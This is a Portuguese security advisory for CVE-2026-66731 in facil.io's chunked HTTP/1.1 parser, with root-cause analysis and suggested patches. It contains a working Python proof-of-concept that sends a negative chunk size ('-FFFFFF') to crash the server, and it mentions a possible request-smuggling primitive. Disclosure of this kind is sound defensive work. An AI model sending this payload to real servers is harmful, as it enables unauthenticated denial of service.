
Aviso de segurança para o CVE-2026-66731 com análise de causa raiz, exploit de PoC e sugestões de correção para o bug do parser de codificação chunked HTTP/1.1 do facil.io.
ID de CVE atribuído: CVE-2026-66731
Produto: facil.io
Versões afetadas: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); introduzido quando o parser HTTP/1.1 0.8.x foi portado de volta na versão 0.7.5 - não presente em 0.6.x ou 0.7.0–0.7.3
Componente: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (Validação de Entrada Incorreta), CWE-682 (Cálculo Incorreto), CWE-125 (Leitura Fora dos Limites)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Pesquisador: Theodosis Paidakis
O parser de codificação de transferência chunked aceita um sinal de menos inicial nos valores de tamanho de chunk. http1_atol16 retorna um long long negativo para entradas como -FFFFFF. O parser armazena 0 - chunk_len em como um valor sentinela para "dentro de um chunk." Quando é negativo, essa subtração produz um grande valor positivo, corrompendo a máquina de estados. Um cálculo subsequente de ponteiro move então o ponteiro de leitura milhões de bytes antes do buffer de entrada, para memória não mapeada, causando a queda do processo. Uma única requisição POST não autenticada é suficiente.
content_lengthchunk_lenPasso 1: http1_atol16 aceita um sinal de menos inicial
lib/facil/http/parsers/http1_parser.h, linhas 316-346
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
A entrada -FFFFFF\r\n produz chunk_len = -16777215LL. A RFC 7230, seção 4.1, especifica tamanhos de chunk como inteiros hexadecimais não negativos. Um sinal de menos inicial não é válido.
Passo 2: Corrupção da máquina de estados
lib/facil/http/parsers/http1_parser.h, linhas 681-690
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
O parser usa content_length negativo como um sentinela que significa "lendo o corpo do chunk no momento." Com um content_length positivo de +16777215, a máquina de estados pensa que está lendo um corpo simples (não chunked) de 16 MB.
Passo 3: O ponteiro retrocede para memória não mapeada
Na próxima iteração, o parser calcula:
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
A leitura desse endereço causa uma falha.
Inicie o servidor e então execute:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
Saída do ASAN (confirmada):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
Efeito pelo tamanho de chunk enviado:
| Tamanho do chunk | content_length após a corrupção | Resultado |
|---|---|---|
-0 | 0 | Corpo ignorado silenciosamente; servidor sobrevive |
-1 | +1 | Ponteiro 1 byte antes do início |
-FFFFFF | +16777215 | Ponteiro 16 MB antes do início; queda |
-7FFFFFFF | +2147483647 | Ponteiro 2 GB antes do início; queda |
Nota: o caso -0 (0 - 0 = 0) atinge o ramo "corpo chunked completo" e o servidor sobrevive, mas o servidor aceita a requisição como tendo um corpo vazio, independentemente de quaisquer dados que se sigam. Isso pode funcionar como uma primitiva de request smuggling em implantações com proxy onde o front-end analisa a codificação chunked de maneira diferente.
Uma única requisição Transfer-Encoding: chunked não autenticada com um tamanho de chunk negativo derruba o servidor. Qualquer aplicação que aceite HTTP/1.1 é afetada; a codificação chunked é um recurso central do protocolo e não requer configuração no nível da aplicação.
Qualquer uma das abordagens é suficiente. Prefira a Correção 1.
Correção 1: rejeitar o sinal de menos inicial em http1_atol16
lib/facil/http/parsers/http1_parser.h, linha 322
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
Correção 2: validar chunk_len antes do uso
lib/facil/http/parsers/http1_parser.h, linha 681
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
O commit 53caca31 ("Corrige atol16 para corrigir o cálculo do comprimento chunked", dezembro de 2019) corrigiu a condição do loop de detecção de estouro, mas manteve o código de manipulação de sinal. O commit fe847cdf ("corrige o parser HTTP/1.1 contra ataques de request smuggling", maio de 2020) tratou dos conflitos TE/CL (quando tanto Transfer-Encoding quanto Content-Length estão presentes). Nenhum deles cobre tamanhos de chunk negativos.